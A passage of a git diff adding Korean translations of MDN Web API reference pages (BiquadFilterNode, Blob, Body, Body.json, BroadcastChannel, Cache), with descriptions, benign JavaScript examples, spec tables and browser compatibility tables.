+    <td>중간 주파수에서 전환이 얼마나 선명한가를 제어합니다. 이 매개 변수가 클수록 더 선명하고 크게 전환됩니다.</td>
+    <td><em>Not used</em></td>
+   </tr>
+  </tbody>
+ </table>
+ </dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>{{domxref("AudioNode")}} 로부터 메서드를 상속받습니다</em>.</p>
+
+<dl>
+ <dt>{{domxref("BiquadFilterNode.getFrequencyResponse()")}}</dt>
+ <dd>이 메서드는 현재 필터 파라미터 설정으로부터 제공된 주파수 배열에 지정된 주파수에 대한 주파수 응답을 계산합니다</dd>
+</dl>
+
+<h2 id="Example">Example</h2>
+
+<p>{{page("/en-US/docs/Web/API/AudioContext.createBiquadFilter","Example")}}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web Audio API', '#the-biquadfilternode-interface', 'BiquadFilterNode')}}</td>
+   <td>{{Spec2('Web Audio API')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(50.0)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(25.0)}} </td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatOpera(15)}}{{property_prefix("webkit")}}<br>
+    {{CompatOpera(22)}} (unprefixed)</td>
+   <td>6.0{{property_prefix("webkit")}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOpera(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Firefox OS</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>26.0</td>
+   <td>1.2</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(50.0)}}</td>
+  </tr>
+  <tr>
+   <td>constructor</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatOperaMobile(42)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(55.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web_Audio_API/Using_Web_Audio_API">Using the Web Audio API</a></li>
+</ul>
diff --git a/files/ko/web/api/blob/blob/index.html b/files/ko/web/api/blob/blob/index.html
new file mode 100644
index 0000000000..9a82b69399
--- /dev/null
+++ b/files/ko/web/api/blob/blob/index.html
@@ -0,0 +1,59 @@
+---
+title: Blob()
+slug: Web/API/Blob/Blob
+tags:
+  - API
+  - Blob
+  - Constructor
+  - File API
+  - Reference
+translation_of: Web/API/Blob/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><code><strong>Blob()</strong></code> 생성자는 새로운 {{domxref("Blob")}} 객체를 반환합니다. 해당 블롭의 콘텐츠는 매개변수로 제공한 배열을 이어붙인 값입니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var aBlob = new Blob(<em> array[</em>, <em>options]</em>);
+</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<ul>
+ <li><em>array</em>는 {{jsxref ( "ArrayBuffer")}}, {{domxref ( "ArrayBufferView")}}, {{domxref ( "Blob")}}, {{domxref ( "DOMString")}} 객체 또는 {{domxref ( "Blob")}} 안에 들어갈 이러한 객체가 혼합되어 있다. DOMString은 UTF-8로 인코딩 된다.</li>
+ <li><em>options</em>는 다음 두 속성을 선택적으로 사용할 수 있는 <code>BlobPropertyBag</code> dictionary이다.
+  <ul>
+   <li><code>type</code>, (기본값 <code>""</code>) blob에 넣을 배열 내용의 MIME 형식을 나타낸다.</li>
+   <li><code>endings</code>, (기본값 <code>"transparent"</code>) 줄 끝 문자 \ n을 포함하는 문자열을 어떻게 써야 하는지를 지정.  다음 두 값을 사용 : <code>"native"</code>는 호스트 OS 파일 시스템 규칙과 일치하도록 줄 끝 문자가 변경된다는 것을 의미합니다. 즉, <code>"transparent"</code>는 끝이 변경없이 blob에 저장됨을 의미합니다. {{non-standard_inline}}</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="예제">예제</h2>
+
+<pre class="brush: js  language-js">var aFileParts = ['&lt;a id="a"&gt;&lt;b id="b"&gt;hey!&lt;/b&gt;&lt;/a&gt;']; // an array consisting of a single DOMString
+var oMyBlob = new Blob(aFileParts, {type : 'text/html'}); // the blob</pre>
+
+<h2 id="Specification" name="Specification">명세서</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세서</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#constructorBlob', 'Blob()')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>기초정의(Initial definition)</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Blob.Blob")}}</p>
diff --git a/files/ko/web/api/blob/index.html b/files/ko/web/api/blob/index.html
new file mode 100644
index 0000000000..09afa4aa31
--- /dev/null
+++ b/files/ko/web/api/blob/index.html
@@ -0,0 +1,151 @@
+---
+title: Blob
+slug: Web/API/Blob
+tags:
+  - API
+  - Blob
+  - File
+  - File API
+  - Interface
+  - Reference
+  - 파일
+translation_of: Web/API/Blob
+---
+<div>{{APIRef("File API")}}</div>
+
+<p><span class="seoSummary"><code>Blob</code> 객체는 파일류의 불변하는 미가공 데이터를 나타냅니다.</span> 텍스트와 이진 데이터의 형태로 읽을 수 있으며, {{domxref("ReadableStream")}}으로 변환한 후 그 메서드를 사용해 데이터를 처리할 수도 있습니다.</p>
+
+<p><code>Blob</code>은 JavaScript 네이티브 형태가 아닌 데이터도 표현할 수 있습니다. {{domxref("File")}} 인터페이스는 사용자 시스템의 파일을 지원하기 위해 <code>Blob</code> 인터페이스를 확장한 것이므로, 모든 블롭 기능을 상속합니다.</p>
+
+<h2 id="Blob_사용하기"><code>Blob</code> 사용하기</h2>
+
+<p>블롭이 아닌 객체와 데이터에서 <code>Blob</code>을 생성하려면 {{domxref("Blob.Blob", "Blob()")}} 생성자를 사용하세요. 다른 블롭의 일부에서 새로운 블롭을 생성할 땐 {{domxref("Blob.slice", "slice()")}} 메서드를 사용할 수 있습니다. 사용자의 파일 시스템 내 파일을 <code>Blob</code>으로 얻는 방법은 {{domxref("File")}} 문서를 참고하세요.</p>
+
+<p><code>Blob</code> 객체를 허용하는 API의 목록은 <code>File</code> 문서에도 있습니다.</p>
+
+<dl>
+</dl>
+
+<h2 id="생성자">생성자</h2>
+
+<dl>
+ <dt>{{domxref("Blob.Blob", "Blob()")}}</dt>
+ <dd>매개변수로 제공한 배열의 모든 데이터를 합친 데이터를 담은 새로운 <code>Blob</code> 객체를 반환합니다.</dd>
+</dl>
+
+<h2 id="속성">속성</h2>
+
+<dl>
+ <dt>{{domxref("Blob.size")}} {{readonlyinline}}</dt>
+ <dd><code>Blob</code> 객체가 담은 데이터의 바이트 단위의 사이즈입니다.</dd>
+ <dt>{{domxref("Blob.type")}} {{readonlyinline}}</dt>
+ <dd><code>Blob</code> 객체가 담은 데이터의 MIME 유형을 나타내는 문자열입니다. 유형을 알 수 없는 경우 빈 문자열을 반환합니다.</dd>
+</dl>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{DOMxRef("Blob.arrayBuffer()")}}</dt>
+ <dd><code>Blob</code>의 전체 내용을 이진 데이터로 담은 {{domxref("ArrayBuffer")}}로 이행하는 {{jsxref("Promise")}}를 반환합니다</dd>
+ <dt>{{domxref("Blob.slice()")}}</dt>
+ <dd>메서드를 호출한 블롭의 바이트를 주어진 시작 바이트와 끝 바이트 범위에서 복제해 새로운 <code>Blob</code> 객체를 생성하고 반환합니다.</dd>
+ <dt>{{domxref("Blob.stream()")}}</dt>
+ <dd><code>Blob</code>의 콘텐츠를 읽을 수 있는 {{domxref("ReadableStream")}}을 반환합니다.</dd>
+ <dt>{{domxref("Blob.text()")}}</dt>
+ <dd><code>Blob</code>의 전체 내용을 UTF-8 텍스트로 담은 {{domxref("USVString")}}으로 이행하는 {{jsxref("Promise")}}를 반환합니다.</dd>
+</dl>
+
+<h2 id="예제">예제 </h2>
+
+<h3 id="블롭_생성하기">블롭 생성하기</h3>
+
+<p>{{DOMxRef("Blob.Blob", "Blob()")}} 생성자를 사용해 다른 객체에서 블롭을 생성하세요. 예를 들어, 아래 코드는 문자열에서 블롭을 생성합니다.</p>
+
+<pre class="brush: js">const obj = {hello: 'world'};
+const blob = new Blob([JSON.stringify(obj, null, 2)], {type : 'application/json'});</pre>
+
+<h3 id="형식_배열의_콘텐츠를_나타내는_URL_생성하기">형식 배열의 콘텐츠를 나타내는 URL 생성하기</h3>
+
+<p>다음 코드는 JavaScript {{jsxref("TypedArray")}}를 생성한 후, 그 데이터를 담은 <code>Blob</code> 객체도 만듭니다. 그 후, {{domxref("URL.createObjectURL()")}}을 호출해 블롭을 {{glossary("URL")}}로 변환합니다.</p>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p&gt;This example creates a typed array containing the ASCII codes
+   for the space character through the letter Z, then converts it
+   to an object URL. A link to open that object URL is created.
+   Click the link to see the decoded object URL.&lt;/p&gt;</pre>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>이 코드의 주제는 <code>typedArrayToURL()</code> 함수로, 주어진 <code>TypedArray</code>에서 <code>Blob</code>을 생성하고, 블롭의 객체 URL을 반환합니다. 데이터를 객체 URL로 변환한 후에는 {{HTMLElement("img")}} 요소의 {{htmlattrxref("src", "img")}} 특성에 지정하는 등 다양하게 사용할 수 있습니다. (물론 해당 객체가 이미지여야 합니다)</p>
+
+<pre class="brush: js">function typedArrayToURL(typedArray, mimeType) {
+  return URL.createObjectURL(new Blob([typedArray.buffer], {type: mimeType}))
+}
+
+const bytes = new Uint8Array(59);
+
+for(let i = 0; i &lt; 59; i++) {
+  bytes[i] = 32 + i;
+}
+
+const url = typedArrayToURL(bytes, 'text/plain');
+
+const link = document.createElement('a');
+link.href = url;
+link.innerText = 'Open the array URL';
+
+document.body.appendChild(link);</pre>
+
+<h4 id="결과">결과</h4>
+
+<p>{{EmbedLiveSample("형식_배열의_콘텐츠를_나타내는_URL_생성하기", 600, 200)}}</p>
+
+<h3 id="블롭에서_데이터_추출하기">블롭에서 데이터 추출하기</h3>
+
+<p>블롭에서 데이터를 읽는 방법 하나는 {{domxref("FileReader")}}를 사용하는 것입니다. 다음 코드는 <code>Blob</code>의 콘텐츠를 형식 배열로서 읽어 들입니다.</p>
+
+<pre class="brush: js">const reader = new FileReader();
+reader.addEventListener('loadend', () =&gt; {
+   // reader.result contains the contents of blob as a typed array
+});
+reader.readAsArrayBuffer(blob);</pre>
+
+<p>또 다른 방법은 블롭을 {{domxref("Response")}}로 사용하는 것입니다. 다음 코드는 <code>Blob</code>의 내용을 텍스트로 읽어옵니다.</p>
+
+<pre class="brush: js"><code class="language-js"><span class="keyword token">var</span> text <span class="operator token">=</span> <span class="keyword token">await</span> <span class="punctuation token">(</span><span class="keyword token">new</span> <span class="class-name token">Response</span><span class="punctuation token">(</span>blob<span class="punctuation token">)</span><span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">text</span><span class="punctuation token">(</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p><code>FileReader</code>의 다른 메서드를 사용하면 블롭의 데이터를 문자열이나 데이터 URL로도 읽어올 수 있습니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">명세</th>
+   <th scope="col">상태</th>
+   <th scope="col">비고</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('File API', '#blob-section', 'The <code>Blob</code> interface')}}</td>
+   <td>{{Spec2('File API')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.Blob")}}</p>
+
+<h2 id="같이_보기">같이 보기</h2>
+
+<ul>
+ <li>{{domxref("BlobBuilder")}}</li>
+ <li>{{domxref("FileReader")}}</li>
+ <li>{{domxref("File")}}</li>
+ <li>{{domxref("URL.createObjectURL")}}</li>
+ <li><a href="/ko/docs/Web/API/File/Using_files_from_web_applications">웹 애플리케이션에서 파일 사용하기</a></li>
+</ul>
diff --git a/files/ko/web/api/body/index.html b/files/ko/web/api/body/index.html
new file mode 100644
index 0000000000..6e5cc42061
--- /dev/null
+++ b/files/ko/web/api/body/index.html
@@ -0,0 +1,97 @@
+---
+title: Body
+slug: Web/API/Body
+tags:
+  - API
+  - BODY
+  - Experimental
+  - Fetch
+  - Fetch API
+  - Interface
+  - Reference
+  - request
+translation_of: Web/API/Body
+---
+<div>{{ APIRef("Fetch") }}</div>
+
+<p><span class="seoSummary">The <strong><code>Body</code></strong> {{glossary("mixin")}} of the <a href="/en-US/docs/Web/API/Fetch_API">Fetch API</a> represents the body of the response/request, allowing you to declare what its content type is and how it should be handled.</span></p>
+
+<p><code>Body</code> is implemented by both {{domxref("Request")}} and {{domxref("Response")}}. This provides these objects with an associated <dfn>body</dfn> (a <a href="/en-US/docs/Web/API/Streams_API">stream</a>), a <dfn>used flag</dfn> (initially unset), and a <dfn>MIME type</dfn> (initially the empty byte sequence).</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("Body.body")}} {{readonlyInline}}</dt>
+ <dd>A simple getter used to expose a {{domxref("ReadableStream")}} of the body contents.</dd>
+ <dt>{{domxref("Body.bodyUsed")}} {{readonlyInline}}</dt>
+ <dd>A {{domxref("Boolean")}} that indicates whether the body has been read.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("Body.arrayBuffer()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with an {{domxref("ArrayBuffer")}}.</dd>
+ <dt>{{domxref("Body.blob()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("Blob")}}.</dd>
+ <dt>{{domxref("Body.formData()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("FormData")}} object.</dd>
+ <dt>{{domxref("Body.json()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with the result of parsing the body text as {{jsxref("JSON")}}.</dd>
+ <dt>{{domxref("Body.text()")}}</dt>
+ <dd>Takes a {{domxref("Response")}} stream and reads it to completion. It returns a promise that resolves with a {{domxref("USVString")}} (text). The response is <em>always</em> decoded using UTF-8.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<p>The example below uses a simple fetch call to grab an image and display it in an {{htmlelement("img")}} tag. You'll notice that since we are requesting an image, we need to run {{domxref("Body.blob","Body.blob()")}} ({{domxref("Response")}} implements body) to give the response its correct MIME type.</p>
+
+<h3 id="HTML_Content">HTML Content</h3>
+
+<pre class="brush: html">&lt;img class="my-image" src="https://wikipedia.org/static/images/project-logos/frwiki-1.5x.png"&gt;
+</pre>
+
+<h3 id="JS_Content">JS Content</h3>
+
+<pre class="brush: js">const myImage = document.querySelector('.my-image');
+fetch('https://upload.wikimedia.org/wikipedia/commons/7/77/Delete_key1.jpg')
+	.then(res =&gt; res.blob())
+	.then(res =&gt; {
+		const objectURL = URL.createObjectURL(res);
+		myImage.src = objectURL;
+});</pre>
+
+<p>{{ EmbedLiveSample('Examples', '100%', '250px') }}</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#body-mixin','Body')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
+
+<p> </p>
diff --git a/files/ko/web/api/body/json/index.html b/files/ko/web/api/body/json/index.html
new file mode 100644
index 0000000000..761720f420
--- /dev/null
+++ b/files/ko/web/api/body/json/index.html
@@ -0,0 +1,73 @@
+---
+title: Body.json()
+slug: Web/API/Body/json
+translation_of: Web/API/Body/json
+---
+<div>{{APIRef("Fetch")}}</div>
+
+<p>{{domxref("Body")}} mixin의 <strong><code>json()</code></strong> 매서드는 {{domxref("Response")}} 스트림을 가져와 스트림이 완료될때까지 읽는다. 이 메서드는 body 텍스트를 {{jsxref("JSON")}}으로 바꾸는 결과로 해결되는 promise를 반환한다.</p>
+
+<h2 id="구문">구문</h2>
+
+<pre class="brush: js">response.json().then(function(data) {
+  // do something with your data
+});</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환값">반환값</h3>
+
+<p>A promise that resolves with the result of parsing the body text as JSON. This could be anything that can be represented by JSON — an object, an array, a string, a number...</p>
+
+<h2 id="Example">Example</h2>
+
+<p>In our <a href="https://github.com/mdn/fetch-examples/tree/master/fetch-json">fetch json example</a> (run <a href="http://mdn.github.io/fetch-examples/fetch-json/">fetch json live</a>), we create a new request using the {{domxref("Request.Request")}} constructor, then use it to fetch a <code>.json</code> file. When the fetch is successful, we read and parse the data using <code>json()</code>, then read values out of the resulting objects as you'd expect and insert them into list items to display our product data.</p>
+
+<pre class="brush: js">var myList = document.querySelector('ul');
+
+var myRequest = new Request('products.json');
+
+fetch(myRequest)
+  .then(function(response) { return response.json(); })
+  .then(function(data) {
+    for (var i = 0; i &lt; data.products.length; i++) {
+      var listItem = document.createElement('li');
+      listItem.innerHTML = '&lt;strong&gt;' + data.products[i].Name + '&lt;/strong&gt; can be found in ' +
+                           data.products[i].Location +
+                           '. Cost: &lt;strong&gt;£' + data.products[i].Price + '&lt;/strong&gt;';
+      myList.appendChild(listItem);
+    }
+  });</pre>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Fetch','#dom-body-json','json()')}}</td>
+   <td>{{Spec2('Fetch')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.Body.json")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">ServiceWorker API</a></li>
+ <li><a href="/en-US/docs/Web/HTTP/Access_control_CORS">HTTP access control (CORS)</a></li>
+ <li><a href="/en-US/docs/Web/HTTP">HTTP</a></li>
+</ul>
diff --git a/files/ko/web/api/broadcastchannel/index.html b/files/ko/web/api/broadcastchannel/index.html
new file mode 100644
index 0000000000..a229e41829
--- /dev/null
+++ b/files/ko/web/api/broadcastchannel/index.html
@@ -0,0 +1,92 @@
+---
+title: BroadcastChannel
+slug: Web/API/BroadcastChannel
+tags:
+  - API
+  - Broadcast Channel API
+  - Experimental
+  - HTML API
+  - Interface
+  - Reference
+translation_of: Web/API/BroadcastChannel
+---
+<p>{{APIRef("Broadcast Channel API")}}</p>
+
+<p>The <code><strong>BroadcastChannel</strong></code> interface represents a named channel that any {{glossary("browsing context")}} of a given {{glossary("origin")}} can subscribe to. It allows communication between different documents (in different windows, tabs, frames or iframes) of the same origin. Messages are broadcasted via a {{event("message")}} event fired at all <code>BroadcastChannel</code> objects listening to the channel.</p>
+
+<p>{{AvailableInWorkers}}</p>
+
+<h2 id="Constructor">Constructor</h2>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.BroadcastChannel", "BroadcastChannel()")}}</dt>
+ <dd>Creates an object linking to the named channel.</dd>
+</dl>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>This interface also inherits properties from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.name")}}</dt>
+ <dd>Returns a {{domxref("DOMString")}}, the name of the channel.</dd>
+ <dt>
+ <h3 id="Event_handlers">Event handlers</h3>
+ </dt>
+ <dt>{{domxref("BroadcastChannel.onmessage")}}</dt>
+ <dd>An {{domxref("EventHandler")}} property that specifies the function to execute when a {{event("message")}} event is fired on this object.</dd>
+ <dt>{{domxref("BroadcastChannel.onmessageerror")}}</dt>
+ <dd>An {{domxref("EventHandler")}} called when a {{domxref("MessageEvent")}} of type {{domxref("MessageError")}} is fired—that is, when it receives a message that cannot be deserialized.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>This interface also inherits methods from its parent, {{domxref("EventTarget")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("BroadcastChannel.postMessage()")}}</dt>
+ <dd>Sends the message, of any type of object, to each <code>BroadcastChannel</code> object listening to the same channel.</dd>
+ <dt>{{domxref("BroadcastChannel.close()")}}</dt>
+ <dd>Closes the channel object, indicating it won't get any new messages, and allowing it to be, eventually, garbage collected.</dd>
+</dl>
+
+<h2 id="Events">Events</h2>
+
+<dl>
+ <dt><code><a href="/en-US/docs/Web/API/BroadcastChannel/message_event">message</a></code></dt>
+ <dd>Fired when when a message arrives on the channel.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/BroadcastChannel/onmessage">onmessage</a></code> property.</dd>
+ <dt><code><a href="/en-US/docs/Web/API/BroadcastChannel/messageerror_event">messageerror</a></code></dt>
+ <dd>Fired when a message arrives that can't be deserialized.<br>
+ Also available via the <code><a href="/en-US/docs/Web/API/BroadcastChannel/onmessageerror">onmessageerror</a></code> property.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "comms.html#broadcastchannel", "BroadcastChannel")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.BroadcastChannel")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li>Another, more heavyweight, way of communicating between browser contexts: {{domxref("ServiceWorker")}}.</li>
+ <li><a href="/en-US/docs/Web/API/Broadcast_Channel_API">Broadcast Channel API overview</a></li>
+</ul>
diff --git a/files/ko/web/api/cache/index.html b/files/ko/web/api/cache/index.html
new file mode 100644
index 0000000000..6c829f8d8c
--- /dev/null
+++ b/files/ko/web/api/cache/index.html
@@ -0,0 +1,148 @@
+---
+title: Cache
+slug: Web/API/Cache
+tags:
+  - API
+  - Cache
+  - Draft
+  - Experimental
+  - Interface
+  - Offline
+  - Reference
+  - Service Workers
+  - Storage
+translation_of: Web/API/Cache
+---
+<p>{{SeeCompatTable}}{{APIRef("Service Workers API")}}</p>
+
+<p><strong><code>Cache</code></strong> 인터페이스는 {{domxref ( "ServiceWorker")}} 의 생명주기의 일부로 캐시 된 <code><a href="http://fetch.spec.whatwg.org/#request">Request</a></code>와 <code><a href="http://fetch.spec.whatwg.org/#response">Response</a></code>를 나타냅니다.</p>
+
+<p>도메인은 여러개의 이름이 지정된 <code>Cache</code> 객체를 가질 수 있으며 그 객체들은 {{domxref("ServiceWorker")}}가 완전히 제어합니다.{{domxref("ServiceWorker")}} 스크립트가 <code>Cache</code> 업데이트를 어떻게 컨트롤 할지에 대해서 구현해야 합니다. 명시적으로 요청하지 않으면 <code>Cache</code> 항목들은 업데이트 되지 않습니다. 삭제되지 않으면 만료되지 않습니다. {{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}} 을 사용하여 특정 이름으로 지정 된 <code>Cache</code> 객체를 로드하고 <code>Cache</code> 메서드를 호출하여 캐시를 유지 관리합니다.</p>
+
+<p>또한 캐시 항목을 정기적으로 삭제해야 합니다. 각각의 브라우저는 {{domxref("ServiceWorker")}}가 사용할 수 있는 캐시 저장소의 양에 대해서 제한을 엄격하게 두고 있습니다. 브라우저는 디스크 공간을 관리하기 위해서 최선을 다하지만 원본에 대한 캐시 저장소를 삭제할 수 있습니다. 브라우저는 일반적으로 원본에 대한 모든 데이터를 삭제하거나 원본에 대한 모든 데이터를 삭제하지 않을 것입니다. 이름지어진 특정 캐시 버전을 확인하고 안전하게 작동할 수 있는 {{domxref("ServiceWorker")}} 버전에서만 캐시를 사용하십시오. 캐시 삭제에 대한 자세한 내용은 <a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers#Deleting_old_caches">Deleting old caches</a>을 참고하세요.</p>
+
+<div class="note">
+<p><strong>Note</strong>: 초기 캐시 구현(Blink 및 Gecko)은 응답이 완전히 기록될 때 {{domxref("Cache.add")}}, {{domxref("Cache.addAll")}}, 그리고 {{domxref("Cache.put")}} 로 확인 됩니다. 보다 최근 사양 버전에서의 최신언어들은 응답이 여전히 스트리밍이 되는 경우에도 해당 내용이 데이터베이스에 기록되는 즉시 브라우저가 확인할 수 있습니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note</strong>: {{domxref("Cache.put")}}, {{domxref("Cache.add")}}, 그리고{{domxref("Cache.addAll")}} 은 오직 <code>GET</code> 요청들만 cache로 저장됩니다.</p>
+</div>
+
+<div class="note">
+<p><strong>Note:</strong> 캐시 API는 HTTP 캐시 헤더를 따르지 않습니다.</p>
+</div>
+
+<h2 id="메서드">메서드</h2>
+
+<dl>
+ <dt>{{domxref("Cache.match", "Cache.match(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}}객체의 첫 번째 일치하는 요청과 관련된 응답으로 확인되는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Cache.matchAll", "Cache.matchAll(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}} 객체에서 일치하는 모든 요청의 배열로 해석되는 {{jsxref("Promise")}}를 반환합니다.</dd>
+ <dt>{{domxref("Cache.add", "Cache.add(request)")}}</dt>
+ <dd>URL을 가져 와서 추출해서 결과 객체를 지정된 캐시에 추가합니다. 이는 fetch()를 호출 한 다음 Cache.put()을 사용하여 캐시에 결과를 추가하는 것과 매우 유사합니다.</dd>
+ <dt>{{domxref("Cache.addAll", "Cache.addAll(requests)")}}</dt>
+ <dd>URL 배열을 가져 와서 추출하고 결과 응답 객체를 지정된 캐시에 추가합니다.</dd>
+ <dt>{{domxref("Cache.put", "Cache.put(request, response)")}}</dt>
+ <dd>요청과 응답을 모두 가져 와서 지정된 캐시에 추가합니다.</dd>
+ <dt>{{domxref("Cache.delete", "Cache.delete(request, options)")}}</dt>
+ <dd>해당 키가 request인 {{domxref("Cache")}}를 찾고 {{domxref("Cache")}}를 삭제하고 <code>true</code> 판정인 {{jsxref("Promise")}}를 리턴합니다. {{domxref("Cache")}} 항목이 없으면 <code>false</code>를 반환합니다.</dd>
+ <dt>{{domxref("Cache.keys", "Cache.keys(request, options)")}}</dt>
+ <dd>{{domxref("Cache")}} 키 배열은 결정된 {{jsxref("Promise")}}를 리턴합니다.</dd>
+</dl>
+
+<h2 id="예제">예제</h2>
+
+<p>이 코드는 <a href="https://github.com/GoogleChrome/samples/blob/gh-pages/service-worker/selective-caching/service-worker.js">service worker selective caching sample</a> 에서 가져왔습니다. (see <a href="https://googlechrome.github.io/samples/service-worker/selective-caching/">selective caching live</a>). 이 코드는{{domxref("CacheStorage.open", "CacheStorage.open(cacheName)")}}을 사용하여 <code>font/</code>로 시작하는 <code>Content-Type</code> header로 <code>Cache</code>를 엽니다.</p>
+
